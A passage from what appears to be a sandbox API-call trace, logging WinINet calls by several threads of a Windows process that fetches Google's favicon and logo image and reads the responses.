lpBuffer=0x57ff4c8, lpdwBufferLength=0x57ff4cc) returned 1 [0184.523] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x57ff5f0, lpdwBufferLength=0x57ff5ec | out: lpBuffer=0x57ff5f0, lpdwBufferLength=0x57ff5ec) returned 1 [0184.523] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x57ff5f0, lpdwBufferLength=0x57ff5ec | out: lpBuffer=0x57ff5f0, lpdwBufferLength=0x57ff5ec) returned 1 [0184.523] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x57ff5e8, lpdwBufferLength=0x57ff5ec | out: lpBuffer=0x57ff5e8, lpdwBufferLength=0x57ff5ec) returned 1 [0184.523] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0184.524] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0184.524] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x57ff568, lpdwBufferLength=0x57ff564 | out: lpBuffer=0x57ff568, lpdwBufferLength=0x57ff564) returned 0 [0184.557] HttpOpenRequestW (hConnect=0xcc001c, lpszVerb="GET", lpszObjectName="/favicon.ico", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x57fed78*="*/*", dwFlags=0xc00010, dwContext=0x58bb770) returned 0xcc0020 [0184.557] InternetQueryOptionA (in: hInternet=0xcc0020, dwOption=0x22, lpBuffer=0x0, lpdwBufferLength=0x57fe924 | out: lpBuffer=0x0, lpdwBufferLength=0x57fe924) returned 0 [0184.557] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x24) returned 0x274f310 [0184.557] InternetQueryOptionA (in: hInternet=0xcc0020, dwOption=0x22, lpBuffer=0x274f310, lpdwBufferLength=0x57fe924 | out: lpBuffer=0x274f310, lpdwBufferLength=0x57fe924) returned 1 [0184.557] InternetQueryOptionA (in: hInternet=0xcc0020, dwOption=0x1, lpBuffer=0x57fe900, lpdwBufferLength=0x57fe8f8 | out: lpBuffer=0x57fe900, lpdwBufferLength=0x57fe8f8) returned 1 [0184.557] InternetQueryOptionA (in: hInternet=0xcc0020, dwOption=0x15, lpBuffer=0x57fe8fc, lpdwBufferLength=0x57fe8f8 | out: lpBuffer=0x57fe8fc, lpdwBufferLength=0x57fe8f8) returned 1 [0184.557] InternetQueryOptionA (in: hInternet=0xcc001c, dwOption=0x15, lpBuffer=0x57fe8fc, lpdwBufferLength=0x57fe8f8 | out: lpBuffer=0x57fe8fc, lpdwBufferLength=0x57fe8f8) returned 1 [0184.557] InternetSetStatusCallbackA (hInternet=0xcc0004, lpfnInternetCallback=0x756d015c) returned 0x756d015c [0184.557] InternetSetStatusCallbackA (hInternet=0xcc0020, lpfnInternetCallback=0x3fbb32) returned 0x756d015c [0184.557] HttpQueryInfoA (in: hRequest=0xcc0020, dwInfoLevel=0x2d, lpBuffer=0x57fe894, lpdwBufferLength=0x57fe89c, lpdwIndex=0x57fe8a0*=0x0 | out: lpBuffer=0x57fe894*, lpdwBufferLength=0x57fe89c*=0x3, lpdwIndex=0x57fe8a0*=0x0) returned 1 [0184.557] StrStrIA (lpFirst="https://www.google.com/favicon.ico", lpSrch="https://") returned="https://www.google.com/favicon.ico" [0184.557] lstrlenA (lpString="https://www.google.com/favicon.ico") returned 34 [0184.557] StrStrIA (lpFirst="https://www.google.com/favicon.ico", lpSrch="http://") returned 0x0 [0184.557] StrStrIA (lpFirst="https://www.google.com/favicon.ico", lpSrch="https://") returned="https://www.google.com/favicon.ico" [0184.557] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x80) returned 0x274fe90 [0184.557] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x80) returned 0x274ff18 [0184.557] InternetQueryOptionA (in: hInternet=0xcc0020, dwOption=0x1c, lpBuffer=0x274fe90, lpdwBufferLength=0x57fe8c8 | out: lpBuffer=0x274fe90, lpdwBufferLength=0x57fe8c8) returned 1 [0184.557] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274fe90 | out: hHeap=0x2350000) returned 1 [0184.557] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ff18 | out: hHeap=0x2350000) returned 1 [0184.557] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f310 | out: hHeap=0x2350000) returned 1 [0184.557] HttpSendRequestW (hRequest=0xcc0020, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 0 [0184.659] InternetQueryDataAvailable (hFile=0xcc0020, lpdwNumberOfBytesAvailable=0x58bb808, dwFlags=0x0, dwContext=0x0) returned 1 [0184.659] InternetReadFile (in: hFile=0xcc0020, lpBuffer=0x5824dd0, dwNumberOfBytesToRead=0x4ef, lpdwNumberOfBytesRead=0x57fee14 | out: lpBuffer=0x5824dd0*, lpdwNumberOfBytesRead=0x57fee14*=0x4ef) returned 1 [0184.660] InternetQueryDataAvailable (hFile=0xcc0020, lpdwNumberOfBytesAvailable=0x58bb808, dwFlags=0x0, dwContext=0x0) returned 1 [0184.661] InternetReadFile (in: hFile=0xcc0020, lpBuffer=0x58252bf, dwNumberOfBytesToRead=0x311, lpdwNumberOfBytesRead=0x57fee14 | out: lpBuffer=0x58252bf*, lpdwNumberOfBytesRead=0x57fee14*=0x311) returned 1 [0184.661] InternetReadFile (in: hFile=0xcc0020, lpBuffer=0x58b9ad0, dwNumberOfBytesToRead=0x2dd, lpdwNumberOfBytesRead=0x57fef34 | out: lpBuffer=0x58b9ad0*, lpdwNumberOfBytesRead=0x57fef34*=0x2dd) returned 1 [0184.662] InternetQueryDataAvailable (hFile=0xcc0020, lpdwNumberOfBytesAvailable=0x58bb808, dwFlags=0x0, dwContext=0x0) returned 1 [0184.662] InternetReadFile (in: hFile=0xcc0020, lpBuffer=0x58b9dad, dwNumberOfBytesToRead=0xa59, lpdwNumberOfBytesRead=0x57fef34 | out: lpBuffer=0x58b9dad*, lpdwNumberOfBytesRead=0x57fef34*=0xa59) returned 1 [0184.662] InternetQueryDataAvailable (hFile=0xcc0020, lpdwNumberOfBytesAvailable=0x58bb808, dwFlags=0x0, dwContext=0x0) returned 1 [0184.663] InternetCloseHandle (hInternet=0xcc0020) returned 1 [0184.663] InternetQueryOptionA (in: hInternet=0xcc0020, dwOption=0x15, lpBuffer=0x57fef90, lpdwBufferLength=0x57fef8c | out: lpBuffer=0x57fef90, lpdwBufferLength=0x57fef8c) returned 0 [0184.663] InternetCloseHandle (hInternet=0xcc001c) returned 1 [0204.245] SetEvent (hEvent=0x5d4) returned 1 [0204.245] SetEvent (hEvent=0x5d0) returned 1 [0422.616] SetEvent (hEvent=0x960) returned 1 [0422.616] SetEvent (hEvent=0x30c) returned 1 Thread: id = 476 os_tid = 0x364 [0184.243] InternetQueryOptionA (in: hInternet=0xcc0028, dwOption=0x15, lpBuffer=0x3d6f50c, lpdwBufferLength=0x3d6f508 | out: lpBuffer=0x3d6f50c, lpdwBufferLength=0x3d6f508) returned 1 [0184.243] InternetQueryOptionA (in: hInternet=0xcc0024, dwOption=0x15, lpBuffer=0x3d6f50c, lpdwBufferLength=0x3d6f508 | out: lpBuffer=0x3d6f50c, lpdwBufferLength=0x3d6f508) returned 1 [0184.243] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3d6f504, lpdwBufferLength=0x3d6f508 | out: lpBuffer=0x3d6f504, lpdwBufferLength=0x3d6f508) returned 1 [0184.249] InternetQueryOptionA (in: hInternet=0xcc0028, dwOption=0x15, lpBuffer=0x3d6f584, lpdwBufferLength=0x3d6f580 | out: lpBuffer=0x3d6f584, lpdwBufferLength=0x3d6f580) returned 1 [0184.249] InternetQueryOptionA (in: hInternet=0xcc0024, dwOption=0x15, lpBuffer=0x3d6f584, lpdwBufferLength=0x3d6f580 | out: lpBuffer=0x3d6f584, lpdwBufferLength=0x3d6f580) returned 1 [0184.249] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3d6f57c, lpdwBufferLength=0x3d6f580 | out: lpBuffer=0x3d6f57c, lpdwBufferLength=0x3d6f580) returned 1 [0184.249] InternetReadFileExW (in: hFile=0xcc0028, lpBuffersOut=0x58ad570, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58ad570*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5850fc4*, dwBufferLength=0x404, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.250] InternetReadFileExW (in: hFile=0xcc0028, lpBuffersOut=0x58ad570, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58ad570*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x58513c8*, dwBufferLength=0x579, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.250] InternetReadFileExW (in: hFile=0xcc0028, lpBuffersOut=0x58ad570, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58ad570*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5851941*, dwBufferLength=0x579, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.251] InternetReadFileExW (in: hFile=0xcc0028, lpBuffersOut=0x58ad570, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58ad570*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5851eba*, dwBufferLength=0x579, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.251] InternetReadFileExW (in: hFile=0xcc0028, lpBuffersOut=0x58ad570, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58ad570*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5852433*, dwBufferLength=0x579, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.251] InternetReadFileExW (in: hFile=0xcc0028, lpBuffersOut=0x58ad570, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58ad570*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x58529ac*, dwBufferLength=0x579, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.251] InternetReadFileExW (in: hFile=0xcc0028, lpBuffersOut=0x58ad570, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58ad570*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5852f25*, dwBufferLength=0x9f, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.252] InternetReadFileExW (in: hFile=0xcc0028, lpBuffersOut=0x58ad570, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58ad570*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x196164*, dwBufferLength=0x4da, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.252] InternetReadFileExW (in: hFile=0xcc0028, lpBuffersOut=0x58ad570, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58ad570*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x19663e*, dwBufferLength=0x579, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.252] InternetReadFileExW (in: hFile=0xcc0028, lpBuffersOut=0x58ad570, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58ad570*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x196bb7*, dwBufferLength=0x594, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.253] InternetReadFileExW (in: hFile=0xcc0028, lpBuffersOut=0x58ad570, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58ad570*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x19714b*, dwBufferLength=0x0, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.581] InternetQueryOptionA (in: hInternet=0xcc0020, dwOption=0x15, lpBuffer=0x3d6f50c, lpdwBufferLength=0x3d6f508 | out: lpBuffer=0x3d6f50c, lpdwBufferLength=0x3d6f508) returned 1 [0184.581] InternetQueryOptionA (in: hInternet=0xcc001c, dwOption=0x15, lpBuffer=0x3d6f50c, lpdwBufferLength=0x3d6f508 | out: lpBuffer=0x3d6f50c, lpdwBufferLength=0x3d6f508) returned 1 [0184.581] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3d6f504, lpdwBufferLength=0x3d6f508 | out: lpBuffer=0x3d6f504, lpdwBufferLength=0x3d6f508) returned 1 [0184.584] InternetQueryOptionA (in: hInternet=0xcc0020, dwOption=0x15, lpBuffer=0x3d6f584, lpdwBufferLength=0x3d6f580 | out: lpBuffer=0x3d6f584, lpdwBufferLength=0x3d6f580) returned 1 [0184.584] InternetQueryOptionA (in: hInternet=0xcc001c, dwOption=0x15, lpBuffer=0x3d6f584, lpdwBufferLength=0x3d6f580 | out: lpBuffer=0x3d6f584, lpdwBufferLength=0x3d6f580) returned 1 [0184.584] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3d6f57c, lpdwBufferLength=0x3d6f580 | out: lpBuffer=0x3d6f57c, lpdwBufferLength=0x3d6f580) returned 1 Thread: id = 477 os_tid = 0x574 Thread: id = 484 os_tid = 0xbb4 [0184.083] HttpOpenRequestW (hConnect=0xcc001c, lpszVerb="GET", lpszObjectName="/images/branding/googlelogo/1x/googlelogo_white_background_color_272x92dp.png", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x5beef64*="*/*", dwFlags=0xc00000, dwContext=0x58828a8) returned 0xcc0020 [0184.083] InternetQueryOptionA (in: hInternet=0xcc0020, dwOption=0x22, lpBuffer=0x0, lpdwBufferLength=0x5beeb10 | out: lpBuffer=0x0, lpdwBufferLength=0x5beeb10) returned 0 [0184.083] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x65) returned 0x274f310 [0184.083] InternetQueryOptionA (in: hInternet=0xcc0020, dwOption=0x22, lpBuffer=0x274f310, lpdwBufferLength=0x5beeb10 | out: lpBuffer=0x274f310, lpdwBufferLength=0x5beeb10) returned 1 [0184.083] InternetQueryOptionA (in: hInternet=0xcc0020, dwOption=0x1, lpBuffer=0x5beeaf0, lpdwBufferLength=0x5beeae8 | out: lpBuffer=0x5beeaf0, lpdwBufferLength=0x5beeae8) returned 1 [0184.083] InternetQueryOptionA (in: hInternet=0xcc0020, dwOption=0x15, lpBuffer=0x5beeaec, lpdwBufferLength=0x5beeae8 | out: lpBuffer=0x5beeaec, lpdwBufferLength=0x5beeae8) returned 1 [0184.083] InternetQueryOptionA (in: hInternet=0xcc001c, dwOption=0x15, lpBuffer=0x5beeaec, lpdwBufferLength=0x5beeae8 | out: lpBuffer=0x5beeaec, lpdwBufferLength=0x5beeae8) returned 1 [0184.083] InternetSetStatusCallbackA (hInternet=0xcc0004, lpfnInternetCallback=0x756d015c) returned 0x756d015c [0184.083] InternetSetStatusCallbackA (hInternet=0xcc0020, lpfnInternetCallback=0x3fbb32) returned 0x756d015c [0184.083] HttpQueryInfoA (in: hRequest=0xcc0020, dwInfoLevel=0x2d, lpBuffer=0x5beea84, lpdwBufferLength=0x5beea8c, lpdwIndex=0x5beea90*=0x0 | out: lpBuffer=0x5beea84*, lpdwBufferLength=0x5beea8c*=0x3, lpdwIndex=0x5beea90*=0x0) returned 1 [0184.083] StrStrIA (lpFirst="https://www.google.com/images/branding/googlelogo/1x/googlelogo_white_background_color_272x92dp.png", lpSrch="https://") returned="https://www.google.com/images/branding/googlelogo/1x/googlelogo_white_background_color_272x92dp.png" [0184.083] lstrlenA (lpString="https://www.google.com/images/branding/googlelogo/1x/googlelogo_white_background_color_272x92dp.png") returned 99 [0184.083] StrStrIA (lpFirst="https://www.google.com/images/branding/googlelogo/1x/googlelogo_white_background_color_272x92dp.png", lpSrch="http://") returned 0x0 [0184.084] StrStrIA (lpFirst="https://www.google.com/images/branding/googlelogo/1x/googlelogo_white_background_color_272x92dp.png", lpSrch="https://") returned="https://www.google.com/images/branding/googlelogo/1x/googlelogo_white_background_color_272x92dp.png" [0184.084] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x80) returned 0x274fe90 [0184.084] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x80) returned 0x274ff18 [0184.084] InternetQueryOptionA (in: hInternet=0xcc0020, dwOption=0x1c, lpBuffer=0x274fe90, lpdwBufferLength=0x5beeab8 | out: lpBuffer=0x274fe90, lpdwBufferLength=0x5beeab8) returned 1 [0184.084] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274fe90 | out: hHeap=0x2350000) returned 1 [0184.084] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ff18 | out: hHeap=0x2350000) returned 1 [0184.084] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f310 | out: hHeap=0x2350000) returned 1 [0184.084] HttpSendRequestW (hRequest=0xcc0020, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 0 Thread: id = 485 os_tid = 0x274 [0184.375] InternetCloseHandle (hInternet=0xcc0020) returned 1 [0184.375] InternetQueryOptionA (in: hInternet=0xcc0020, dwOption=0x15, lpBuffer=0x601f758, lpdwBufferLength=0x601f754 | out: lpBuffer=0x601f758, lpdwBufferLength=0x601f754) returned 0 [0184.375] InternetCloseHandle (hInternet=0xcc001c) returned 1 [0184.380] InternetCloseHandle (hInternet=0xcc0028) returned 1 [0184.380] InternetQueryOptionA (in: hInternet=0xcc0028, dwOption=0x15, lpBuffer=0x601f758, lpdwBufferLength=0x601f754 | out: lpBuffer=0x601f758, lpdwBufferLength=0x601f754) returned 0 [0184.380] InternetCloseHandle (hInternet=0xcc0024) returned 1 Thread: id = 486 os_tid = 0x650 [0184.559] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x5cff954, lpdwBufferLength=0x5cff950 | out: lpBuffer=0x5cff954, lpdwBufferLength=0x5cff950) returned 1 [0184.559] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x5cff954, lpdwBufferLength=0x5cff950 | out: lpBuffer=0x5cff954, lpdwBufferLength=0x5cff950) returned 1 [0184.559] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x5cff94c, lpdwBufferLength=0x5cff950 | out: lpBuffer=0x5cff94c, lpdwBufferLength=0x5cff950) returned 1 [0184.559] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x5cff7cc, lpdwBufferLength=0x5cff7c8 | out: lpBuffer=0x5cff7cc, lpdwBufferLength=0x5cff7c8) returned 1 [0184.559] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x5cff7cc, lpdwBufferLength=0x5cff7c8 | out: lpBuffer=0x5cff7cc, lpdwBufferLength=0x5cff7c8) returned 1 [0184.559] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x5cff7c4, lpdwBufferLength=0x5cff7c8 | out: lpBuffer=0x5cff7c4, lpdwBufferLength=0x5cff7c8) returned 1 [0184.560] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x5cff7cc, lpdwBufferLength=0x5cff7c8 | out: lpBuffer=0x5cff7cc, lpdwBufferLength=0x5cff7c8) returned 1 [0184.560] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x5cff7cc, lpdwBufferLength=0x5cff7c8 | out: lpBuffer=0x5cff7cc, lpdwBufferLength=0x5cff7c8) returned 1 [0184.560] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x5cff7c4, lpdwBufferLength=0x5cff7c8 | out: lpBuffer=0x5cff7c4, lpdwBufferLength=0x5cff7c8) returned 1 [0184.560] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x5cff858, lpdwBufferLength=0x5cff854 | out: lpBuffer=0x5cff858, lpdwBufferLength=0x5cff854) returned 1 [0184.560] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x5cff858, lpdwBufferLength=0x5cff854 | out: lpBuffer=0x5cff858, lpdwBufferLength=0x5cff854) returned 1 [0184.560] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x5cff850, lpdwBufferLength=0x5cff854 | out: lpBuffer=0x5cff850, lpdwBufferLength=0x5cff854) returned 1 [0184.561] InternetQueryOptionA (in: hInternet=0xcc0020, dwOption=0x15, lpBuffer=0x5cff954, lpdwBufferLength=0x5cff950 | out: lpBuffer=0x5cff954, lpdwBufferLength=0x5cff950) returned 1 [0184.561] InternetQueryOptionA (in: hInternet=0xcc001c, dwOption=0x15, lpBuffer=0x5cff954, lpdwBufferLength=0x5cff950 | out: lpBuffer=0x5cff954, lpdwBufferLength=0x5cff950) returned 1 [0184.561] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x5cff94c, lpdwBufferLength=0x5cff950 | out: lpBuffer=0x5cff94c, lpdwBufferLength=0x5cff950) returned 1 [0184.561] InternetQueryOptionA (in: hInternet=0xcc0020, dwOption=0x15, lpBuffer=0x5cff7cc, lpdwBufferLength=0x5cff7c8 | out: lpBuffer=0x5cff7cc, lpdwBufferLength=0x5cff7c8) returned 1 [0184.561] InternetQueryOptionA (in: hInternet=0xcc001c, dwOption=0x15, lpBuffer=0x5cff7cc, lpdwBufferLength=0x5cff7c8 | out: lpBuffer=0x5cff7cc, lpdwBufferLength=0x5cff7c8) returned 1 [0184.561] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x5cff7c4, lpdwBufferLength=0x5cff7c8 | out: lpBuffer=0x5cff7c4, lpdwBufferLength=0x5cff7c8) returned 1 [0184.562] InternetQueryOptionA (in: hInternet=0xcc0020, dwOption=0x15, lpBuffer=0x5cff7cc, lpdwBufferLength=0x5cff7c8 | out: lpBuffer=0x5cff7cc, lpdwBufferLength=0x5cff7c8) returned 1 [0184.562] InternetQueryOptionA (in: hInternet=0xcc001c, dwOption=0x15, lpBuffer=0x5cff7cc, lpdwBufferLength=0x5cff7c8 | out: lpBuffer=0x5cff7cc, lpdwBufferLength=0x5cff7c8) returned 1 [0184.562] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x5cff7c4, lpdwBufferLength=0x5cff7c8 | out: lpBuffer=0x5cff7c4, lpdwBufferLength=0x5cff7c8) returned 1 [0184.562] InternetQueryOptionA (in: hInternet=0xcc0020, dwOption=0x15, lpBuffer=0x5cff858, lpdwBufferLength=0x5cff854 | out: lpBuffer=0x5cff858, lpdwBufferLength=0x5cff854) returned 1 [0184.562] InternetQueryOptionA (in: hInternet=0xcc001c, dwOption=0x15, lpBuffer=0x5cff858, lpdwBufferLength=0x5cff854 | out: lpBuffer=0x5cff858, lpdwBufferLength=0x5cff854) returned 1 [0184.562] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x5cff850, lpdwBufferLength=0x5cff854 | out: lpBuffer=0x5cff850, lpdwBufferLength=0x5cff854) returned 1 [0184.575] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x5cff9c8, lpdwBufferLength=0x5cff9c4 | out: lpBuffer=0x5cff9c8, lpdwBufferLength=0x5cff9c4) returned 1 [0184.575] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x5cff9c8, lpdwBufferLength=0x5cff9c4 | out: lpBuffer=0x5cff9c8, lpdwBufferLength=0x5cff9c4) returned 1 [0184.575] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x5cff9c0, lpdwBufferLength=0x5cff9c4 | out: lpBuffer=0x5cff9c0, lpdwBufferLength=0x5cff9c4) returned 1 [0184.585] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x5cffa40, lpdwBufferLength=0x5cffa3c | out: lpBuffer=0x5cffa40, lpdwBufferLength=0x5cffa3c) returned 1 [0184.585] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x5cffa40, lpdwBufferLength=0x5cffa3c | out: lpBuffer=0x5cffa40, lpdwBufferLength=0x5cffa3c) returned 1 [0184.585] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x5cffa38, lpdwBufferLength=0x5cffa3c | out: lpBuffer=0x5cffa38, lpdwBufferLength=0x5cffa3c) returned 1 [0184.585] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.587] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x309, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.588] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.588] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.588] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x18a, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.589] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x3b4, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.589] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.590] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.590] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x354, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.590] 